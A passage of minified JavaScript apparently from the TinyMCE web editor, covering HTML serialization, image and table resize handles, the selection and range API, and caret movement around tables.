a=e,s=c,!(u=o).no_events&&a?wp(a,Zy(u,{content:s})).content:s};function Eb(e,t){var a,u,s,c,l,n,r=(a=e,n=["data-mce-selected"],s=(u=t)&&u.dom?u.dom:Si.DOM,c=u&&u.schema?u.schema:di(a),a.entity_encoding=a.entity_encoding||"named",a.remove_trailing_brs=!("remove_trailing_brs"in a)||a.remove_trailing_brs,l=bb(a,c),eb.register(l,a,s),{schema:c,addNodeFilter:l.addNodeFilter,addAttributeFilter:l.addAttributeFilter,serialize:function(e,t){var n=Zy({format:"html"},t||{}),r=tb.process(u,e,n),o=xb(s,r,n),i=wb(l,o,n);return"tree"===n.format?i:Nb(u,a,c,i,n)},addRules:function(e){c.addValidElements(e)},setRules:function(e){c.setValidElements(e)},addTempAttr:d(Cb,l,n),getTempAttrs:function(){return n}});return{schema:r.schema,addNodeFilter:r.addNodeFilter,addAttributeFilter:r.addAttributeFilter,serialize:r.serialize,addRules:r.addRules,setRules:r.setRules,addTempAttr:r.addTempAttr,getTempAttrs:r.getTempAttrs}}function Sb(e){return{getBookmark:d(hc,e),moveToBookmark:d(vc,e)}}(Sb||(Sb={})).isBookmarkNode=yc;var Tb,kb,_b=Sb,Ab=jo.isContentEditableFalse,Rb=jo.isContentEditableTrue,Db=function(r,a){var u,s,c,l,f,d,m,g,p,h,v,y,i,b,C,x,w,N=a.dom,E=Xt.each,S=a.getDoc(),T=V.document,k=Math.abs,_=Math.round,A=a.getBody();l={nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]};var e=".mce-content-body";a.contentStyles.push(e+" div.mce-resizehandle {position: absolute;border: 1px solid black;box-sizing: content-box;background: #FFF;width: 7px;height: 7px;z-index: 10000}"+e+" .mce-resizehandle:hover {background: #000}"+e+" img[data-mce-selected],"+e+" hr[data-mce-selected] {outline: 1px solid black;resize: none}"+e+" .mce-clonedresizable {position: absolute;"+(fe.gecko?"":"outline: 1px dashed black;")+"opacity: .5;filter: alpha(opacity=50);z-index: 10000}"+e+" .mce-resize-helper {background: #555;background: rgba(0,0,0,0.75);border-radius: 3px;border: 1px;color: white;display: none;font-family: sans-serif;font-size: 12px;white-space: nowrap;line-height: 14px;margin: 5px 10px;padding: 5px;position: absolute;z-index: 10001}");var R=function(e){return e&&("IMG"===e.nodeName||a.dom.is(e,"figure.image"))},n=function(e){var t,n,r=e.target;t=e,n=a.selection.getRng(),!R(t.target)||yv(t.clientX,t.clientY,n)||e.isDefaultPrevented()||a.selection.select(r)},D=function(e){return a.dom.is(e,"figure.image")?e.querySelector("img"):e},O=function(e){var t=a.settings.object_resizing;return!1!==t&&!fe.iOS&&("string"!=typeof t&&(t="table,img,figure.image,div"),"false"!==e.getAttribute("data-mce-resize")&&e!==a.getBody()&&Lr(ar.fromDom(e),t))},B=function(e){var t,n,r,o;t=e.screenX-d,n=e.screenY-m,b=t*f[2]+h,C=n*f[3]+v,b=b<5?5:b,C=C<5?5:C,(R(u)&&!1!==a.settings.resize_img_proportional?!rv.modifierPressed(e):rv.modifierPressed(e)||R(u)&&f[2]*f[3]!=0)&&(k(t)>k(n)?(C=_(b*y),b=_(C/y)):(b=_(C/y),C=_(b*y))),N.setStyles(D(s),{width:b,height:C}),r=0<(r=f.startPos.x+t)?r:0,o=0<(o=f.startPos.y+n)?o:0,N.setStyles(c,{left:r,top:o,display:"block"}),c.innerHTML=b+" × "+C,f[2]<0&&s.clientWidth<=b&&N.setStyle(s,"left",g+(h-b)),f[3]<0&&s.clientHeight<=C&&N.setStyle(s,"top",p+(v-C)),(t=A.scrollWidth-x)+(n=A.scrollHeight-w)!=0&&N.setStyles(c,{left:r-t,top:o-n}),i||(Tp(a,u,h,v),i=!0)},P=function(){i=!1;var e=function(e,t){t&&(u.style[e]||!a.schema.isValid(u.nodeName.toLowerCase(),e)?N.setStyle(D(u),e,t):N.setAttrib(D(u),e,t))};e("width",b),e("height",C),N.unbind(S,"mousemove",B),N.unbind(S,"mouseup",P),T!==S&&(N.unbind(T,"mousemove",B),N.unbind(T,"mouseup",P)),N.remove(s),N.remove(c),o(u),kp(a,u,b,C),N.setAttrib(u,"style",N.getAttrib(u,"style")),a.nodeChanged()},o=function(e){var t,r,o,n,i;I(),M(),t=N.getPos(e,A),g=t.x,p=t.y,i=e.getBoundingClientRect(),r=i.width||i.right-i.left,o=i.height||i.bottom-i.top,u!==e&&(u=e,b=C=0),n=a.fire("ObjectSelected",{target:e}),O(e)&&!n.isDefaultPrevented()?E(l,function(n,e){var t;(t=N.get("mceResizeHandle"+e))&&N.remove(t),t=N.add(A,"div",{id:"mceResizeHandle"+e,"data-mce-bogus":"all","class":"mce-resizehandle",unselectable:!0,style:"cursor:"+e+"-resize; margin:0; padding:0"}),11===fe.ie&&(t.contentEditable=!1),N.bind(t,"mousedown",function(e){var t;e.stopImmediatePropagation(),e.preventDefault(),d=(t=e).screenX,m=t.screenY,h=D(u).clientWidth,v=D(u).clientHeight,y=v/h,(f=n).startPos={x:r*n[0]+g,y:o*n[1]+p},x=A.scrollWidth,w=A.scrollHeight,s=u.cloneNode(!0),N.addClass(s,"mce-clonedresizable"),N.setAttrib(s,"data-mce-bogus","all"),s.contentEditable=!1,s.unSelectabe=!0,N.setStyles(s,{left:g,top:p,margin:0}),s.removeAttribute("data-mce-selected"),A.appendChild(s),N.bind(S,"mousemove",B),N.bind(S,"mouseup",P),T!==S&&(N.bind(T,"mousemove",B),N.bind(T,"mouseup",P)),c=N.add(A,"div",{"class":"mce-resize-helper","data-mce-bogus":"all"},h+" × "+v)}),n.elm=t,N.setStyles(t,{left:r*n[0]+g-t.offsetWidth/2,top:o*n[1]+p-t.offsetHeight/2})}):I(),u.setAttribute("data-mce-selected","1")},I=function(){var e,t;for(e in M(),u&&u.removeAttribute("data-mce-selected"),l)(t=N.get("mceResizeHandle"+e))&&(N.unbind(t),N.remove(t))},L=function(e){var t,n=function(e,t){if(e)do{if(e===t)return!0}while(e=e.parentNode)};i||a.removed||(E(N.select("img[data-mce-selected],hr[data-mce-selected]"),function(e){e.removeAttribute("data-mce-selected")}),t="mousedown"===e.type?e.target:r.getNode(),n(t=N.$(t).closest("table,img,figure.image,hr")[0],A)&&(z(),n(r.getStart(!0),t)&&n(r.getEnd(!0),t))?o(t):I())},F=function(e){return Ab(function(e,t){for(;t&&t!==e;){if(Rb(t)||Ab(t))return t;t=t.parentNode}return null}(a.getBody(),e))},M=function(){for(var e in l){var t=l[e];t.elm&&(N.unbind(t.elm),delete t.elm)}},z=function(){try{a.getDoc().execCommand("enableObjectResizing",!1,!1)}catch(e){}};return a.on("init",function(){z(),fe.ie&&11<=fe.ie&&(a.on("mousedown click",function(e){var t=e.target,n=t.nodeName;i||!/^(TABLE|IMG|HR)$/.test(n)||F(t)||(2!==e.button&&a.selection.select(t,"TABLE"===n),"mousedown"===e.type&&a.nodeChanged())}),a.dom.bind(A,"mscontrolselect",function(e){var t=function(e){he.setEditorTimeout(a,function(){a.selection.select(e)})};if(F(e.target))return e.preventDefault(),void t(e.target);/^(TABLE|IMG|HR)$/.test(e.target.nodeName)&&(e.preventDefault(),"IMG"===e.target.tagName&&t(e.target))}));var t=he.throttle(function(e){a.composing||L(e)});a.on("nodechange ResizeEditor ResizeWindow drop FullscreenStateChanged",t),a.on("keyup compositionend",function(e){u&&"TABLE"===u.nodeName&&t(e)}),a.on("hide blur",I),a.on("contextmenu",n)}),a.on("remove",M),{isResizable:O,showResizeRect:o,hideResizeRect:I,updateResizeRect:L,destroy:function(){u=s=null}}},Ob=function(e){return jo.isContentEditableTrue(e)||jo.isContentEditableFalse(e)},Bb=function(e,t,n){var r,o,i,a,u,s=n;if(s.caretPositionFromPoint)(o=s.caretPositionFromPoint(e,t))&&((r=n.createRange()).setStart(o.offsetNode,o.offset),r.collapse(!0));else if(n.caretRangeFromPoint)r=n.caretRangeFromPoint(e,t);else if(s.body.createTextRange){r=s.body.createTextRange();try{r.moveToPoint(e,t),r.collapse(!0)}catch(c){r=function(e,n,t){var r,o,i;if(r=t.elementFromPoint(e,n),o=t.body.createTextRange(),r&&"HTML"!==r.tagName||(r=t.body),o.moveToElementText(r),0<(i=(i=Xt.toArray(o.getClientRects())).sort(function(e,t){return(e=Math.abs(Math.max(e.top-n,e.bottom-n)))-(t=Math.abs(Math.max(t.top-n,t.bottom-n)))})).length){n=(i[0].bottom+i[0].top)/2;try{return o.moveToPoint(e,n),o.collapse(!0),o}catch(a){}}return null}(e,t,n)}return i=r,a=n.body,u=i&&i.parentElement?i.parentElement():null,jo.isContentEditableFalse(function(e,t,n){for(;e&&e!==t;){if(n(e))return e;e=e.parentNode}return null}(u,a,Ob))?null:i}return r},Pb=function(n,e){return W(e,function(e){var t=n.fire("GetSelectionRange",{range:e});return t.range!==e?t.range:e})},Ib=function(e,t){var n=(t||V.document).createDocumentFragment();return z(e,function(e){n.appendChild(e.dom())}),ar.fromDom(n)},Lb=Ar("element","width","rows"),Fb=Ar("element","cells"),Mb=Ar("x","y"),zb=function(e,t){var n=parseInt(Er(e,t),10);return isNaN(n)?1:n},Ub=function(e){return j(e,function(e,t){return t.cells().length>e?t.cells().length:e},0)},jb=function(e,t){for(var n=e.rows(),r=0;r<n.length;r++)for(var o=n[r].cells(),i=0;i<o.length;i++)if(Mr(o[i],t))return _.some(Mb(i,r));return _.none()},Vb=function(e,t,n,r,o){for(var i=[],a=e.rows(),u=n;u<=o;u++){var s=a[u].cells(),c=t<r?s.slice(t,r+1):s.slice(r,t+1);i.push(Fb(a[u].element(),c))}return i},Hb=function(e){var o=Lb(ha(e),0,[]);return z(Qi(e,"tr"),function(n,r){z(Qi(n,"td,th"),function(e,t){!function(e,t,n,r,o){for(var i=zb(o,"rowspan"),a=zb(o,"colspan"),u=e.rows(),s=n;s<n+i;s++){u[s]||(u[s]=Fb(va(r),[]));for(var c=t;c<t+a;c++)u[s].cells()[c]=s===n&&c===t?o:ha(o)}}(o,function(e,t,n){for(;r=t,o=n,i=void 0,((i=e.rows())[o]?i[o].cells():[])[r];)t++;var r,o,i;return t}(o,t,r),r,n,e)})}),Lb(o.element(),Ub(o.rows()),o.rows())},qb=function(e){return n=W((t=e).rows(),function(e){var t=W(e.cells(),function(e){var t=va(e);return Sr(t,"colspan"),Sr(t,"rowspan"),t}),n=ha(e.element());return Mi(n,t),n}),r=ha(t.element()),o=ar.fromTag("tbody"),Mi(o,n),Fi(r,o),r;var t,n,r,o},$b=function(l,e,t){return jb(l,e).bind(function(c){return jb(l,t).map(function(e){return t=l,r=e,o=(n=c).x(),i=n.y(),a=r.x(),u=r.y(),s=i<u?Vb(t,o,i,a,u):Vb(t,o,u,a,i),Lb(t.element(),Ub(s),s);var t,n,r,o,i,a,u,s})})},Wb=function(n,t){return X(n,function(e){return"li"===lr(e)&&Jh(e,t)}).fold(q([]),function(e){return(t=n,X(t,function(e){return"ul"===lr(e)||"ol"===lr(e)})).map(function(e){return[ar.fromTag("li"),ar.fromTag(lr(e))]}).getOr([]);var t})},Kb=function(e,t){var n,r=ar.fromDom(t.commonAncestorContainer),o=uf(r,e),i=U(o,function(e){return xo(e)||bo(e)}),a=Wb(o,t),u=i.concat(a.length?a:So(n=r)?Vr(n).filter(Eo).fold(q([]),function(e){return[n,e]}):Eo(n)?[n]:[]);return W(u,ha)},Xb=function(){return Ib([])},Yb=function(e,t){return n=ar.fromDom(t.cloneContents()),r=Kb(e,t),o=j(r,function(e,t){return Fi(t,e),t},n),0<r.length?Ib([o]):o;var n,r,o},Gb=function(e,o){return(t=e,n=o[0],ra(n,"table",d(Mr,t))).bind(function(e){var t=o[0],n=o[o.length-1],r=Hb(e);return $b(r,t,n).map(function(e){return Ib([qb(e)])})}).getOrThunk(Xb);var t,n},Jb=function(e,t){var n,r,o=Cm(t,e);return 0<o.length?Gb(e,o):(n=e,0<(r=t).length&&r[0].collapsed?Xb():Yb(n,r[0]))},Qb=function(e,t){if(void 0===t&&(t={}),t.get=!0,t.format=t.format||"html",t.selection=!0,(t=e.fire("BeforeGetContent",t)).isDefaultPrevented())return e.fire("GetContent",t),t.content;if("text"===t.format)return c=e,_.from(c.selection.getRng()).map(function(e){var t=c.dom.add(c.getBody(),"div",{"data-mce-bogus":"all",style:"overflow: hidden; opacity: 0;"},e.cloneContents()),n=wa(t.innerText);return c.dom.remove(t),n}).getOr("");t.getInner=!0;var n,r,o,i,a,u,s,c,l=(r=t,i=(n=e).selection.getRng(),a=n.dom.create("body"),u=n.selection.getSel(),s=Pb(n,gm(u)),(o=r.contextual?Jb(ar.fromDom(n.getBody()),s).dom():i.cloneContents())&&a.appendChild(o),n.selection.serializer.serialize(a,r));return"tree"===t.format?l:(t.content=e.selection.isCollapsed()?"":l,e.fire("GetContent",t),t.content)},Zb=function(e,t,n){var r,o,i,a,u=(r=t,ma(ma({format:"html"},n),{set:!0,selection:!0,content:r})),s=e.selection.getRng(),c=e.getDoc();if(u.no_events||!(u=e.fire("BeforeSetContent",u)).isDefaultPrevented()){if(t=function(e,t){if("raw"!==t.format){var n=e.parser.parse(t.content,ma({isRootContent:!0,forced_root_block:!1},t));return al({validate:e.validate},e.schema).serialize(n)}return t.content}(e,u),s.insertNode){t+='<span id="__caret">_</span>',s.startContainer===c&&s.endContainer===c?c.body.innerHTML=t:(s.deleteContents(),0===c.body.childNodes.length?c.body.innerHTML=t:s.createContextualFragment?s.insertNode(s.createContextualFragment(t)):(i=c.createDocumentFragment(),a=c.createElement("div"),i.appendChild(a),a.outerHTML=t,s.insertNode(i))),o=e.dom.get("__caret"),(s=c.createRange()).setStartBefore(o),s.setEndBefore(o),e.selection.setRng(s),e.dom.remove("__caret");try{e.selection.setRng(s)}catch(f){}}else{var l=s;l.item&&(c.execCommand("Delete",!1,null),l=e.selection.getRng()),/^\s+/.test(t)?(l.pasteHTML('<span id="__mce_tmp">_</span>'+t),e.dom.remove("__mce_tmp")):l.pasteHTML(t)}u.no_events||e.fire("SetContent",u)}else e.fire("SetContent",u)},eC=function(e,t,n,r,o){var i=n?t.startContainer:t.endContainer,a=n?t.startOffset:t.endOffset;return _.from(i).map(ar.fromDom).map(function(e){return r&&t.collapsed?e:Xr(e,o(e,a)).getOr(e)}).bind(function(e){return dr(e)?_.some(e):Vr(e)}).map(function(e){return e.dom()}).getOr(e)},tC=function(e,t,n){return eC(e,t,!0,n,function(e,t){return Math.min(e.dom().childNodes.length,t)})},nC=function(e,t,n){return eC(e,t,!1,n,function(e,t){return 0<t?t-1:t})},rC=function(e,t){for(var n=e;e&&jo.isText(e)&&0===e.length;)e=t?e.nextSibling:e.previousSibling;return e||n},oC=Xt.each,iC=function(e){return!!e.select},aC=function(e){return!(!e||!e.ownerDocument)&&zr(ar.fromDom(e.ownerDocument),ar.fromDom(e))},uC=function(u,s,e,c){var n,t,l,f,a,r=function(e,t){return Zb(c,e,t)},o=function(e){var t=m();t.collapse(!!e),i(t)},d=function(){return s.getSelection?s.getSelection():s.document.selection},m=function(){var e,t,n,r,o=function(e,t,n){try{return t.compareBoundaryPoints(e,n)}catch(r){return-1}};if(!s)return null;if(null==(r=s.document))return null;if(c.bookmark!==undefined&&!1===sh(c)){var i=up(c);if(i.isSome())return i.map(function(e){return Pb(c,[e])[0]}).getOr(r.createRange())}try{(e=d())&&!jo.isRestrictedNode(e.anchorNode)&&(t=0<e.rangeCount?e.getRangeAt(0):e.createRange?e.createRange():r.createRange())}catch(a){}return(t=Pb(c,[t])[0])||(t=r.createRange?r.createRange():r.body.createTextRange()),t.setStart&&9===t.startContainer.nodeType&&t.collapsed&&(n=u.getRoot(),t.setStart(n,0),t.setEnd(n,0)),l&&f&&(0===o(t.START_TO_START,t,l)&&0===o(t.END_TO_END,t,l)?t=f:f=l=null),t},i=function(e,t){var n,r;if((o=e)&&(iC(o)||aC(o.startContainer)&&aC(o.endContainer))){var o,i=iC(e)?e:null;if(i){f=null;try{i.select()}catch(a){}}else{if(n=d(),e=c.fire("SetSelectionRange",{range:e,forward:t}).range,n){f=e;try{n.removeAllRanges(),n.addRange(e)}catch(a){}!1===t&&n.extend&&(n.collapse(e.endContainer,e.endOffset),n.extend(e.startContainer,e.startOffset)),l=0<n.rangeCount?n.getRangeAt(0):null}e.collapsed||e.startContainer!==e.endContainer||!n.setBaseAndExtent||fe.ie||e.endOffset-e.startOffset<2&&e.startContainer.hasChildNodes()&&(r=e.startContainer.childNodes[e.startOffset])&&"IMG"===r.tagName&&(n.setBaseAndExtent(e.startContainer,e.startOffset,e.endContainer,e.endOffset),n.anchorNode===e.startContainer&&n.focusNode===e.endContainer||n.setBaseAndExtent(r,0,r,1)),c.fire("AfterSetSelectionRange",{range:e,forward:t})}}},g=function(){var e,t,n=d();return!(n&&n.anchorNode&&n.focusNode)||((e=u.createRng()).setStart(n.anchorNode,n.anchorOffset),e.collapse(!0),(t=u.createRng()).setStart(n.focusNode,n.focusOffset),t.collapse(!0),e.compareBoundaryPoints(e.START_TO_START,t)<=0)},p={bookmarkManager:null,controlSelection:null,dom:u,win:s,serializer:e,editor:c,collapse:o,setCursorLocation:function(e,t){var n=u.createRng();e?(n.setStart(e,t),n.setEnd(e,t),i(n),o(!1)):(Qh(u,n,c.getBody(),!0),i(n))},getContent:function(e){return Qb(c,e)},setContent:r,getBookmark:function(e,t){return n.getBookmark(e,t)},moveToBookmark:function(e){return n.moveToBookmark(e)},select:function(e,t){var r,n,o;return(r=u,n=e,o=t,_.from(n).map(function(e){var t=r.nodeIndex(e),n=r.createRng();return n.setStart(e.parentNode,t),n.setEnd(e.parentNode,t+1),o&&(Qh(r,n,e,!0),Qh(r,n,e,!1)),n})).each(i),e},isCollapsed:function(){var e=m(),t=d();return!(!e||e.item)&&(e.compareEndPoints?0===e.compareEndPoints("StartToEnd",e):!t||e.collapsed)},isForward:g,setNode:function(e){return r(u.getOuterHTML(e)),e},getNode:function(){return e=c.getBody(),(t=m())?(r=t.startContainer,o=t.endContainer,i=t.startOffset,a=t.endOffset,n=t.commonAncestorContainer,!t.collapsed&&(r===o&&a-i<2&&r.hasChildNodes()&&(n=r.childNodes[i]),3===r.nodeType&&3===o.nodeType&&(r=r.length===i?rC(r.nextSibling,!0):r.parentNode,o=0===a?rC(o.previousSibling,!1):o.parentNode,r&&r===o))?r:n&&3===n.nodeType?n.parentNode:n):e;var e,t,n,r,o,i,a},getSel:d,setRng:i,getRng:m,getStart:function(e){return tC(c.getBody(),m(),e)},getEnd:function(e){return nC(c.getBody(),m(),e)},getSelectedBlocks:function(e,t){return function(e,t,n,r){var o,i,a=[];if(i=e.getRoot(),n=e.getParent(n||tC(i,t,t.collapsed),e.isBlock),r=e.getParent(r||nC(i,t,t.collapsed),e.isBlock),n&&n!==i&&a.push(n),n&&r&&n!==r)for(var u=new go(o=n,i);(o=u.next())&&o!==r;)e.isBlock(o)&&a.push(o);return r&&n!==r&&r!==i&&a.push(r),a}(u,m(),e,t)},normalize:function(){var e=m(),t=d();if(!hm(t)&&Zh(c)){var n=Dg(u,e);return n.each(function(e){i(e,g())}),n.getOr(e)}return e},selectorChanged:function(e,t){var i;return a||(a={},i={},c.on("NodeChange",function(e){var n=e.element,r=u.getParents(n,null,u.getRoot()),o={};oC(a,function(e,n){oC(r,function(t){if(u.is(t,n))return i[n]||(oC(e,function(e){e(!0,{node:t,selector:n,parents:r})}),i[n]=e),o[n]=e,!1})}),oC(i,function(e,t){o[t]||(delete i[t],oC(e,function(e){e(!1,{node:n,selector:t,parents:r})}))})})),a[e]||(a[e]=[]),a[e].push(t),p},getScrollContainer:function(){for(var e,t=u.getRoot();t&&"BODY"!==t.nodeName;){if(t.scrollHeight>t.clientHeight){e=t;break}t=t.parentNode}return e},scrollIntoView:function(e,t){return og(c,e,t)},placeCaretAt:function(e,t){return i(Bb(e,t,c.getDoc()))},getBoundingClientRect:function(){var e=m();return e.collapsed?_u.fromRangeStart(e).getClientRects()[0]:e.getBoundingClientRect()},destroy:function(){s=l=f=null,t.destroy()}};return n=_b(p),t=Db(p,c),p.bookmarkManager=n,p.controlSelection=t,p};(kb=Tb||(Tb={}))[kb.Br=0]="Br",kb[kb.Block=1]="Block",kb[kb.Wrap=2]="Wrap",kb[kb.Eol=3]="Eol";var sC=function(e,t){return e===Tu.Backwards?t.reverse():t},cC=function(e,t,n,r){for(var o,i,a,u,s,c,l=Js(n),f=r,d=[];f&&(s=l,c=f,o=t===Tu.Forwards?s.next(c):s.prev(c));){if(jo.isBr(o.getNode(!1)))return t===Tu.Forwards?{positions:sC(t,d).concat([o]),breakType:Tb.Br,breakAt:_.some(o)}:{positions:sC(t,d),breakType:Tb.Br,breakAt:_.some(o)};if(o.isVisible()){if(e(f,o)){var m=(i=t,a=f,u=o,jo.isBr(u.getNode(i===Tu.Forwards))?Tb.Br:!1===Ts(a,u)?Tb.Block:Tb.Wrap);return{positions:sC(t,d),breakType:m,breakAt:_.some(o)}}d.push(o),f=o}else f=o}return{positions:sC(t,d),breakType:Tb.Eol,breakAt:_.none()}},lC=function(n,r,o,e){return r(o,e).breakAt.map(function(e){var t=r(o,e).positions;return n===Tu.Backwards?t.concat(e):[e].concat(t)}).getOr([])},fC=function(e,i){return j(e,function(e,o){return e.fold(function(){return _.some(o)},function(r){return ru(Z(r.getClientRects()),Z(o.getClientRects()),function(e,t){var n=Math.abs(i-e.left);return Math.abs(i-t.left)<=n?o:r}).or(e)})},_.none())},dC=function(t,e){return Z(e.getClientRects()).bind(function(e){return fC(t,e.left)})},mC=d(cC,Su.isAbove,-1),gC=d(cC,Su.isBelow,1),pC=d(lC,-1,mC),hC=d(lC,1,gC),vC=jo.isContentEditableFalse,yC=Za,bC=function(e,t,n,r){var o=e===Tu.Forwards,i=o?Lf:Ff;if(!r.collapsed){var a=yC(r);if(vC(a))return sg(e,t,a,e===Tu.Backwards,!0)}var u=Sa(r.startContainer),s=Ps(e,t.getBody(),r);if(i(s))return cg(t,s.getNode(!o));var c=Vl.normalizePosition(o,n(s));if(!c)return u?r:null;if(i(c))return sg(e,t,c.getNode(!o),o,!0);var l=n(c);return l&&i(l)&&Fs(c,l)?sg(e,t,l.getNode(!o),o,!0):u?fg(t,c.toRange(),!0):null},CC=function(e,t,n,r){var o,i,a,u,s,c,l,f,d;if(d=yC(r),o=Ps(e,t.getBody(),r),i=n(t.getBody(),sv(1),o),a=U(i,cv(1)),s=Ht.last(o.getClientRects()),(Lf(o)||zf(o))&&(d=o.getNode()),(Ff(o)||Uf(o))&&(d=o.getNode(!0)),!s)return null;if(c=s.left,(u=pv(a,c))&&vC(u.node))return l=Math.abs(c-u.left),f=Math.abs(c-u.right),sg(e,t,u.node,l<f,!0);if(d){var m=function(e,t,n,r){var o,i,a,u,s,c,l=Js(t),f=[],d=0,m=function(e){return Ht.last(e.getClientRects())};1===e?(o=l.next,i=Ja,a=Ga,u=_u.after(r)):(o=l.prev,i=Ga,a=Ja,u=_u.before(r)),c=m(u);do{if(u.isVisible()&&!a(s=m(u),c)){if(0<f.length&&i(s,Ht.last(f))&&d++,(s=Ka(s)).position=u,s.line=d,n(s))return f;f.push(s)}}while(u=o(u));return f}(e,t.getBody(),sv(1),d);if(u=pv(U(m,cv(1)),c))return fg(t,u.position.toRange(),!0);if(u=Ht.last(U(m,cv(0))))return fg(t,u.position.toRange(),!0)}},xC=function(e,t,n){var r,o,i,a,u=Js(e.getBody()),s=d(Ls,u.next),c=d(Ls,u.prev);if(n.collapsed&&e.settings.forced_root_block){if(!(r=e.dom.getParent(n.startContainer,"PRE")))return;(1===t?s(_u.fromRangeStart(n)):c(_u.fromRangeStart(n)))||(a=(i=e).dom.create(Nl(i)),(!fe.ie||11<=fe.ie)&&(a.innerHTML='<br data-mce-bogus="1">'),o=a,1===t?e.$(r).after(o):e.$(r).before(o),e.selection.select(o,!0),e.selection.collapse())}},wC=function(l,f){return function(){var e,t,n,r,o,i,a,u,s,c=(t=f,r=Js((e=l).getBody()),o=d(Ls,r.next),i=d(Ls,r.prev),a=t?Tu.Forwards:Tu.Backwards,u=t?o:i,s=e.selection.getRng(),(n=bC(a,e,u,s))?n:(n=xC(e,a,s))||null);return!!c&&(dg(l,c),!0)}},NC=function(u,s){return function(){var e,t,n,r,o,i,a=(r=(t=s)?1:-1,o=t?uv:av,i=(e=u).selection.getRng(),(n=CC(r,e,o,i))?n:(n=xC(e,r,i))||null);return!!a&&(dg(u,a),!0)}},EC=function(r,o){return function(){var t,e=o?_u.fromRangeEnd(r.selection.getRng()):_u.fromRangeStart(r.selection.getRng()),n=o?gC(r.getBody(),e):mC(r.getBody(),e);return(o?ee(n.positions):Z(n.positions)).filter((t=o,function(e){return t?Ff(e):Lf(e)})).fold(q(!1),function(e){return r.selection.setRng(e.toRange()),!0})}},SC=function(e,t,n,r,o){var i,a,u,s,c=Qi(ar.fromDom(n),"td,th,caption").map(function(e){return e.dom()}),l=U((i=e,G(c,function(e){var t,n,r=(t=Ka(e.getBoundingClientRect()),n=-1,{left:t.left-n,top:t.top-n,right:t.right+2*n,bottom:t.bottom+2*n,width:t.width+n,height:t.height+n});return[{x:r.left,y:i(r),cell:e},{x:r.right,y:i(r),cell:e}]})),function(e){return t(e,o)});return(a=l,u=r,s=o,j(a,function(e,r){return e.fold(function(){return _.some(r)},function(e){var t=Math.sqrt(Math.abs(e.x-u)+Math.abs(e.y-s)),n=Math.sqrt(Math.abs(r.x-u)+Math.abs(r.y-s));return _.some(n<t?r:e)})},_.none())).map(function(e){return e.cell})},TC=d(SC,function(e){return e.bottom},function(e,t){return e.y<t}),kC=d(SC,function(e){return e.top},function(e,t){return e.y>t}),_C=function(t,n){return Z(n.getClientRects()).bind(function(e){return TC(t,e.left,e.top)}).bind(function(e){return dC((t=e,sc.lastPositionIn(t).map(function(e){return mC(t,e).positions.concat(e)}).getOr([])),n);var t})},AC=function(t,n){return ee(n.getClientRects()).bind(function(e){return kC(t,e.left,e.top)}).bind(function(e){return dC((t=e,sc.firstPositionIn(t).map(function(e){return[e].concat(gC(t,e).positions)}).getOr([])),n);var t})},RC=function(e,t,n){var r,o,i,a,u=e(t,n);return(a=u).breakType===Tb.Wrap&&0===a.positions.length||!jo.isBr(n.getNode())&&(i=u).breakType===Tb.Br&&1===i.positions.length?(r=e,o=t,!u.breakAt.map(function(e){return r(o,e).breakAt.isSome()}).getOr(!1)):u.breakAt.isNone()},DC=d(RC,mC),OC=d(RC,gC),BC=function(e,t,n,r){var o,i,a,u,s=e.selection.getRng(),c=t?1:-1;if(ms()&&(o=t,i=s,a=n,u=_u.fromRangeStart(i),sc.positionIn(!o,a).map(function(e){return e.isEqual(u)}).getOr(!1))){var l=sg(c,e,n,!t,!0);return dg(e,l),!0}return!1},PC=function(e,t){var n=t.getNode(e);return jo.isElement(n)&&"TABLE"===n.nodeName?_.some(n):_.none()},IC=function(u,s,c){var e=PC(!!s,c),t=!1===s;e.fold(function(){return dg(u,c.toRange())},function(a){return sc.positionIn(t,u.getBody()).filter(function(e){return e.isEqual(c)}).fold(function(){return dg(u,c.toRange())},function(e){return n=s,o=a,t=c,void((i=Nl(r=u))?r.undoManager.transact(function(){var e=ar.fromTag(i);Nr(e,El(r)),Fi(e,ar.fromTag("br")),n?Ii(ar.fromDom(o),e):Pi(ar.fromDom(o),e);var t=r.dom.createRng();t.setStart(e.dom(),0),t.setEnd(e.dom(),0),dg(r,t)}):dg(r,t.toRange()));var n,r,o,t,i})})},LC=function(e,t,n,r){var o,i,a,u,s,c,l=e.selection.getRng(),f=_u.fromRangeStart(l),d=e.getBody();if(!t&&DC(r,f)){var m=(u=d,_C(s=n,c=f).orThunk(function(){return Z(c.getClientRects()).bind(function(e){return fC(pC(u,_u.before(s)),e.left)})}).getOr(_u.before(s)));return IC(e,t,m),!0}return!(!t||!OC(r,f))&&(o=d,m=AC(i=n,a=f).orThunk(function(){return Z(a.getClientRects()).bind(function(e){return fC(hC(o,_u.after(i)),e.left)})}).getOr(_u.after(i)),IC(e,t,m),!0)},FC=function(t,n){return function(){return _.from(t.dom.getParent(t.selection.getNode(),"td,th")).bind(function(e){return _.from(t.dom.getParent(e,"table")).map(function(e){return BC(t,n,e)})}).getOr(!1)}},MC=function(n,r){return function(){return _.from(n.dom.getParent(n.selection.getNode(),"td,th")).bind(function(t){return _.from(n.dom.getParent(t,"table")).map(function(e){return LC(n,r,e,t)})}).getOr(!1)}},zC=function(e){return F(["figcaption"],lr(e))},UC=function(e){var t=V.document.createRange();return t.setStartBefore(e.dom()),t.setEndBefore(e.dom()),t},jC=function(e,t,n){n?Fi(e,t):Li(e,t)},VC=function(e,t,n,r){return""===t?(l=e,f=r,d=ar.fromTag("br"),jC(l,d,f),UC(d)):(o=e,i=r,a=t,u=n,s=ar.fromTag(a),c=ar.fromTag("br"),Nr(s,u),Fi(s,c),jC(o,s,i),UC(c));var o,i,a,u,s,c,l,f,d},HC=function(e,t,n){return t?(o=e.dom(),gC(o,n).breakAt.isNone()):(r=e.dom(),mC(r,n).breakAt.isNone());var r,o},qC=function(t,n){var e,r,o,i=ar.fromDom(t.getBody()),a=_u.fromRangeStart(t.selection.getRng()),u=Nl(t),s=El(t);return(e=a,r=i,o=d(Mr,r),na(ar.fromDom(e.container()),Co,o).filter(zC)).exists(function(){if(HC(i,n,a)){var e=VC(i,u,s,n);return t.selection.setRng(e),!0}return!1})},$C=function(e,t){return function(){return!!e.selection.isCollapsed()&&qC(e,t)}},WC=function(e,r){return G(W(e,function(e){return Zy({shiftKey:!1,altKey:!1,ctrlKey:!1,metaKey:!1,keyCode:0,action:o},e)}),function(e){return t=e,(n=r).keyCode===t.keyCode&&n.shiftKey===t.shiftKey&&n.altKey===t.altKey&&n.ctrlKey===t.ctrlKey&&n.metaKey===t.metaKey?[e]:[];var 